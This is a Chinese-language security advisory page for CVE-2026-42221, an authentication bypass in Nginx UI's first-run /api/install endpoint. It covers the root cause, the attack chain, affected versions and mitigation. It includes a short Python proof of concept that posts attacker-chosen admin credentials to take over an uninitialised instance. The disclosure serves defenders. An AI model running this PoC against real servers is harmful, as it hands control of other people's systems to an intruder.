IPBUF安全漏洞报告
English
CVE-2026-42221 CVSS 8.1 高危

CVE-2026-42221 Nginx UI 初始安装账户接管漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42221
漏洞类型
认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nginx UI

相关标签

Nginx UI认证绕过权限接管高危漏洞

漏洞概述

Nginx UI 在 2.0.0 至 2.3.8 之前的版本中存在安全漏洞。在首次运行设置期间,攻击者可无需认证访问 `/api/install` 接口。由于该接口缺乏身份验证机制,远程攻击者赶在合法管理员之前设置初始管理员账户,从而永久接管实例控制权。该漏洞已在 2.3.8 版本中修复。

技术细节

该漏洞根因在于 Nginx UI 首次运行设置流程中的访问控制机制缺失。在系统未完成初始化安装前,`/api/install` 接口暴露在公网且未实施有效的身份验证。尽管应用层采用了请求加密手段对传输载荷进行加密处理,但这仅保障了数据的机密性,并未校验请求发起者的合法性。攻击者通过网络向量发现处于首次运行窗口期的实例后,无需任何用户交互或认证,即可向目标服务器发送特制的数据包,自定义管理员邮箱、用户名及密码。由于系统逻辑限制仅允许首次初始化,一旦攻击者抢在合法管理员之前完成此操作,即可获得系统最高权限,实现永久性的初始实例接管。

攻击链分析

STEP 1
1. 发现目标
攻击者扫描网络,寻找处于初始化安装阶段(首次运行)的 Nginx UI 实例。
STEP 2
2. 访问端点
攻击者无需认证直接访问公开的 `/api/install` API 接口。
STEP 3
3. 发送恶意载荷
攻击者向该接口发送 POST 请求,在请求体中包含自己控制的管理员邮箱、用户名和密码。
STEP 4
4. 完成接管
系统接受请求并创建攻击者指定的管理员账户,攻击者获得系统的永久控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Nginx UI instance target_url = "http://<target-ip>:<port>/api/install" # Payload to claim the initial admin account # Note: Depending on the specific version, the payload might need to be encrypted # as per the client-side logic, but the endpoint itself lacks auth checks. payload = { "email": "[email protected]", "username": "hacker_admin", "password": "P@ssw0rd123!" } try: # Sending the POST request to the installation endpoint response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Admin account created.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Nginx UI >= 2.0.0, < 2.3.8

防御指南

临时缓解措施
在未完成初始化配置前,切勿将服务端口直接暴露在互联网。建议通过反向代理或安全组限制访问源 IP。升级至 Nginx UI v2.3.8 版本彻底修复此问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表